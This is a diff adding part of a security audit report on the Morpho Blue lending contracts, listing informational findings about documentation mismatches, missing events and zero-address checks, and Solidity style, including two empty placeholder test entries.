+ /// @notice Returns the borrow rate of the market `marketParams`.
+ /// @dev Assumes that `market` corresponds to `marketParams`.
+ function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256);
+
+```
+
+**Recommendation:** Add a natspec comment to specify that the borrow rate isn't in APY but per second and has been scaled by WAD.
+
+
+
+### Incorrect documentation of supply event
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L40-L40](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L40-L40)
+
+Description:
+
+
+The Supply event is utilized to signal that a user has supply from a market. However, the NatSpec documentation, found in the comments above the event, inaccurately states: "/// @param onBehalf The address that received the supply." This misleadingly implies that the assets were supplied to the address, while, in reality, they were supplied to the Morpho contract's address (address(this)).
+
+
+Recommendation:
+
+
+To rectify this discrepancy, it is advisable to revise the comment to accurately reflect the supplying scenario. The corrected comment should read: "/// @param onBehalf The address that the supply shares will be granted to." This adjustment ensures clarity and aligns the documentation with the actual behavior of the Supply event.
+
+
+
+### 0 Address/Value Checks
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There are some instances where if the address gets mistakenly set to 0 address it might be problematic for the protocol , these instances are ->
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L105
+
+
+Recommendation:
+
+Introduce 0 address checks for the above
+
+
+
+### Supply event is not emitted when feeRecipient supplyShares is increased in _accrueInterest
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:** The supply event is emitted when a user calls supply and his supplyShares is increased. This allows offchain clients to monitor when a user's `supplyShares` is increased. But this is not the only place a user supplyShares is increased. In _accrueInterest, the `feeRecipient`'s supplyShares are also increased when fee>0. The supply event should also be emitted there to ensure offchain clients are properly updated.
+
+```
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+
+```
+
+**Recommendation:** Emit the supply event when interest is accrued. If this cannot be done for one reason or the other, the EventLib.supply Natspec can be updated to show that the current feeRecipient address supplyShares is also increase when interest is accrued. This will inform them to also watch for the AccrueInterest event
+
+
+
+### `MAX_LIQUIDATION_INCENTIVE_FACTOR` is incorrect in documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [ConstantsLib.sol#L13-L14](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L13-L14)
+
+**Description:**
+
+The [documentation](https://morpho-labs.notion.site/Morpho-Blue-Documentation-Hub-External-00ff8194791045deb522821be46abbdc) states that `MAX_LIQUIDATION_INCENTIVE_FACTOR` is 20%:
+
+> $LI = min(M, \frac{1}{\beta*LLTV+(1-\beta)} -1)$, with $\beta = 0.3$ and $M= 0.20$
+
+However, it is actually 15% in the code:
+
+```solidity
+/// @dev Max liquidation incentive factor.
+uint256 constant MAX_LIQUIDATION_INCENTIVE_FACTOR = 1.15e18;
+```
+
+**Recommendation:**
+
+Amend the documentation to state that $M = 0.15$
+
+
+
+### testtest234
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+**Recommendation**:
+
+
+
+### test number
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+test number
+
+
+
+### High cyclomatic complexity
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+Consider breaking down these blocks into more manageable units, by splitting things into utility functions, by reducing nesting, and by using early returns.
+
+
+
+### Enum values should be used in place of constant array indexes
+
+**Severity:** Informational
+
+**Context:** [MorphoLib.sol#L15-L15](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L15-L15), [MorphoLib.sol#L20-L20](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L20-L20), [MorphoLib.sol#L25-L25](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L25-L25), [MorphoLib.sol#L30-L30](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L30-L30), [MorphoLib.sol#L35-L35](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L35-L35), [MorphoLib.sol#L40-L40](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L40-L40), [MorphoLib.sol#L45-L45](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L45-L45), [MorphoLib.sol#L50-L50](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L50-L50), [MorphoLib.sol#L55-L55](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L55-L55), [MorphoLib.sol#L60-L60](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L60-L60)
+
+Consider using an enum instead of hardcoding an index access to make the code easier to understand.
+
+
+
+### Use of non-named numeric constants
+
+**Severity:** Informational
+
+**Context:** [MathLib.sol#L41-L41](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L41-L41), [MorphoLib.sol#L25-L25](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L25-L25), [MorphoLib.sol#L35-L35](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L35-L35), [MorphoLib.sol#L45-L45](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L45-L45), [MorphoLib.sol#L55-L55](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoLib.sol#L55-L55)
+
+Constants should be defined instead of using magic numbers.
+
+
+
+### Inconsistent method of specifying a floating pragma
+
+**Severity:** Informational
+
+**Context:** [IERC20.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IERC20.sol#L2-L2), [IIrm.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IIrm.sol#L2-L2), [IMorphoCallbacks.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IMorphoCallbacks.sol#L2-L2), [IMorpho.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L2-L2), [IOracle.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IOracle.sol#L2-L2)
+
+Some files use `>=`, while others use `^`. The instances below are examples of the method that has the fewest instances for a specific version.
+
+
+
+Occurrences: `^`: 11 `>=`: 5
+
+
+
+### Use of `abi.encodePacked` instead of `bytes/string.concat`
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L440-L440](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L440-L440)
+
+Starting from version `0.8.4`, the recommended approach for appending bytes/strings is to use `bytes/string.concat` instead of `abi.encodePacked`.
+
+
+
+### Contract functions should use an `interface`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+All `external`/`public` functions should override an `interface`. This is useful to make sure that the whole API is extracted.
+
+
+
+### Returning a struct instead of returning many variables is better
+
+**Severity:** Informational
+
+**Context:** [IMorpho.sol#L308-L308](morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L308-L308), [IMorpho.sol#L323-L323](morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L323-L323), [MorphoBalancesLib.sol#L33-L33](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoBalancesLib.sol#L33-L33)
+
+If a function returns [too many variables](https://docs.soliditylang.org/en/latest/contracts.html#returning-multiple-values), replacing them with a struct can improve code readability, maintainability and reusability.
+
+
+
+### Events should emit both new and old values
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L100-L100](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L100-L100), [Morpho.sol#L144-L144](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L144-L144)
+
+Events are generally emitted when sensitive changes are made to the contracts.
+
+However, some are missing important parameters, as they should include both the new value and old value where possible.
+
+
+
+### Use of polymorphism is discouraged for security audits
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L513-L513](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L513-L513)
+
+A duplicated function name in the same contract might have problems with automated auditing tools, so it should be avoided. Consider always using a different name for functions to improve the readability of the code.
+
+
+
+### Consider using `delete` instead of assigning zero/false to clear values
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L397-L397](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L397-L397)
+
+The `delete` keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic.
+
+
+
+### Use a ternary statement instead of `if`/`else` when appropriate
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L180-L180](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L180-L180), [Morpho.sol#L213-L213](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L213-L213), [Morpho.sol#L248-L248](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L248-L248), [Morpho.sol#L280-L280](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L280-L280)
+
+The `if`/`else` statement can be written in a shorthand way using the ternary operator, as it increases readability and reduces the number of lines of code.
+
+
+
+### Consider using named mappings
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L58-L58](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L58-L58), [Morpho.sol#L60-L60](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L60-L60), [Morpho.sol#L62-L62](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L62-L62), [Morpho.sol#L64-L64](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L64-L64), [Morpho.sol#L66-L66](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L66-L66), [Morpho.sol#L68-L68](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L68-L68), [Morpho.sol#L70-L70](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L70-L70)
+
+Named mappings improve the readability of the code, even if they are optional, as it's possible to infer the usage of both key and value, instead of looking just at the type.
+
+
+
+### Layout order does not comply with best practices
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L87-L87](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L87-L87)
+
+This is a [best practice](https://docs.soliditylang.org/en/latest/style-guide.html#order-of-layout) that should be followed.
+
+Inside each contract, library or interface, use the following order:
+
+1. Type declarations
+2. 2. State variables
+3. 3. Events
+4. 4. Errors
+5. 5. Modifiers
+6. 6. Functions
+
+
+
+### Function visibility order does not comply with best practices
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L462-L462](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L462-L462), [Morpho.sol#L530-L530](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L530-L530)
+
+This is a [best practice](https://docs.soliditylang.org/en/latest/style-guide.html#order-of-functions) that should be followed.
+
+Functions should be grouped according to their visibility and ordered:
+
+1. constructor
+2. 2. receive function (if exists)
+3. 3. fallback function (if exists)
+4. 4. external
+5. 5. public
+6. 6. internal
+7. 7. private
+Within a grouping, place the view and pure functions last.
+
+
+